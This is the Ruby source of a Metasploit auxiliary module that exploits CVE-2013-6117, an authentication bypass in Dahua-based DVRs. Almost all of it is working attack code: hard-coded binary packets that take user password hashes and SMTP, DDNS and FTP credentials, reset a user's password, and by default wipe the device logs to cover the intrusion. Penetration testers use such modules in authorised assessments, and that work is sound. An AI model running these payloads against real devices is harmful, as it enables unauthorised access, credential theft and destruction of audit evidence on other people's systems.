rapid7/metasploit-framework

View on GitHub
modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb

Summary

Maintainability
A
3 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'            => %q(Dahua DVR Auth Bypass Scanner),
      'Description'     => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
      'Author'          => [
        'Tyler Bennett - Talos Consulting', # Metasploit module
        'Jake Reynolds - Depth Security', # Vulnerability Discoverer
        'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
        'Nathan McBride' # regex extraordinaire
      ],
      'References'      => [
        [ 'CVE', '2013-6117' ],
        [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
      ],
      'License'         => MSF_LICENSE,
      'DefaultAction'  => 'VERSION',
      'Actions'        =>
        [
          [ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
          [ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
          [ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
          [ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
          [ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
          [ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
          [ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
          [ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
          [ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
        ]
    )

    register_options([
      OptString.new('USERNAME', [false, 'A username to reset', '888888']),
      OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
      OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
      Opt::RPORT(37777)
    ])
  end

  U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
  # Payload to grab version of the DVR
  VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab Email Settings of the DVR
  EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
          "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab DDNS Settings of the DVR
  DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
         "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab NAS Settings of the DVR
  NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
        "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab the Channels that each camera is assigned to on the  DVR
  CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
             "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab the Users Groups of the DVR
  GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab the Users  and their hashes from the DVR
  USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to grab the Serial Number of the DVR
  SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  # Payload to clear the logs of the DVR
  CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

  def setup
    @password = datastore['PASSWORD']
    @password ||= Rex::Text.rand_text_alpha(6)
  end

  def grab_version
    connect
    sock.put(VERSION)
    data = sock.get_once
    return unless data =~ /[\x00]{8,}([[:print:]]+)/
    ver = Regexp.last_match[1]
    print_good("#{peer} -- version: #{ver}")
  end

  def grab_serial
    connect
    sock.put(SN)
    data = sock.get_once
    return unless data =~ /[\x00]{8,}([[:print:]]+)/
    serial = Regexp.last_match[1]
    print_good("#{peer} -- serial number: #{serial}")
  end

  def grab_email
    connect
    sock.put(EMAIL)
    return unless (response = sock.get_once)
    data = response.split('&&')
    print_good("#{peer} -- Email Settings:")
    return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
    if mailhost = Regexp.last_match[1].split(':')
      print_status("#{peer} --  Server: #{mailhost[0]}") unless mailhost[0].blank?
      print_status("#{peer} --  Server Port: #{mailhost[1]}") unless mailhost[1].blank?
      print_status("#{peer} --  Destination Email: #{data[1]}") unless data[1].blank?
      mailserver = "#{mailhost[0]}"
      mailport = "#{mailhost[1]}"
      muser = "#{data[5]}"
      mpass = "#{data[6]}"
    end
    return if muser.blank? && mpass.blank?
    print_good("  SMTP User: #{data[5]}")
    print_good("  SMTP Password: #{data[6]}")
    return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
    report_email_cred(mailserver, mailport, muser, mpass)
  end

  def grab_ddns
    connect
    sock.put(DDNS)
    return unless (response = sock.get_once)
    data = response.split(/&&[0-1]&&/)
    ddns_table = Rex::Text::Table.new(
      'Header' => 'Dahua DDNS Settings',
      'Indent' => 1,
      'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
    )
    data.each_with_index do |val, index|
      next if index == 0
      val = val.split("&&")
      ddns_service = val[0]
      ddns_server = val[1]
      ddns_port = val[2]
      ddns_domain = val[3]
      ddns_user = val[4]
      ddns_pass = val[5]
      ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
      unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
        if datastore['VERBOSE']
          ddns_table.print
        end
        report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
      end
    end
  end

  def grab_nas
    connect
    sock.put(NAS)
    return unless (data = sock.get_once)
    print_good("#{peer} -- NAS Settings:")
    server = ''
    port = ''
    if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
      server = Regexp.last_match[1].unpack('C*').join('.')
      port = Regexp.last_match[2].unpack('S')
    end
    if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
      ftpuser.strip!
      ftppass.strip!
      unless ftpuser.blank? || ftppass.blank?
        print_good("#{peer} --  NAS Server: #{server}")
        print_good("#{peer} --  NAS Port: #{port}")
        print_good("#{peer} -- FTP User: #{ftpuser}")
        print_good("#{peer} -- FTP Pass: #{ftppass}")
        report_creds(
          host: server,
          port: port,
          user: ftpuser,
          pass: ftppass,
          type: "FTP",
          active: true)
      end
    end
  end

  def grab_channels
    connect
    sock.put(CHANNELS)
    data = sock.get_once.split('&&')
    channels_table = Rex::Text::Table.new(
      'Header' => 'Dahua Camera Channels',
      'Indent' => 1,
      'Columns' => ['ID', 'Peer', 'Channels']
    )
    return unless data.length > 1
    data.each_with_index do |val, index|
      number = index.to_s
      channels = val[/([[:print:]]+)/]
      channels_table << [ number, peer, channels ]
    end
    channels_table.print
  end

  def grab_users
    connect
    sock.put(USERS)
    return unless (response = sock.get_once)
    data = response.split('&&')
    usercount = 0
    users_table = Rex::Text::Table.new(
      'Header' => 'Dahua Users Hashes and Rights',
      'Indent' => 1,
      'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
    )
    data.each do |val|
      usercount += 1
      user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
      users_table << [ peer, user, md5hash, groups, rights, name]
      # Write the dahua hash to the database
      hash = "#{rhost} #{user}:$dahua$#{md5hash}"
      report_hash(rhost, rport, user, hash)
      # Write the vulnerability to the database
      report_vuln(
        host: rhost,
        port: rport,
        proto: 'tcp',
        sname: 'dvr',
        name: 'Dahua Authentication Password Hash Exposure',
        info: "Obtained password hash for user #{user}: #{md5hash}",
        refs: references
      )
    end
    users_table.print
  end

  def grab_groups
    connect
    sock.put(GROUPS)
    return unless (response = sock.get_once)
    data = response.split('&&')
    groups_table = Rex::Text::Table.new(
      'Header' => 'Dahua groups',
      'Indent' => 1,
      'Columns' => ['ID', 'Peer', 'Group']
    )
    data.each do |val|
      number = "#{val[/(([\d]+))/]}"
      groups = "#{val[/(([a-z]+))/]}"
      groups_table << [ number, peer, groups ]
    end
    groups_table.print
  end

  def reset_user
    connect
    userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
    u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
    sock.put(u1)
    sock.put(u2)
    sock.put(u3)
    sock.get_once
    sock.put(u1)
    return unless sock.get_once
    print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
  end

  def clear_logs
    connect
    sock.put(CLEAR_LOGS1)
    sock.put(CLEAR_LOGS2)
    print_good("#{peer} -- logs cleared")
  end

  def peer
    "#{rhost}:#{rport}"
  end

  def run_host(_ip)
    begin
      connect
      sock.put(U1)
      data = sock.recv(8)
      disconnect
      return unless data == DVR_RESP
      print_good("#{peer} -- Dahua-based DVR found")
      report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")

      case action.name.upcase
      when 'CHANNEL'
        grab_channels
      when 'DDNS'
        grab_ddns
      when 'EMAIL'
        grab_email
      when 'GROUP'
        grab_groups
      when 'NAS'
        grab_nas
      when 'RESET'
        reset_user
      when 'SERIAL'
        grab_serial
      when 'USER'
        grab_users
      when 'VERSION'
        grab_version
      end

      clear_logs if datastore['CLEAR_LOGS']
    ensure
      disconnect
    end
  end

  def report_hash(rhost, rport, user, hash)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'dahua_dvr',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: hash,
      private_type: :nonreplayable_hash,
      jtr_format: 'dahua_hash',
      username: user
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
    service_data = {
      address: ddns_server,
      port: ddns_port,
      service_name: 'ddns settings',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: ddns_pass,
      private_type: :password,
      username: ddns_user
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def report_email_cred(mailserver, mailport, muser, mpass)
    service_data = {
      address: mailserver,
      port: mailport,
      service_name: 'email settings',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      origin_type: :service,
      private_data: mpass,
      private_type: :password,
      username: muser
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end
end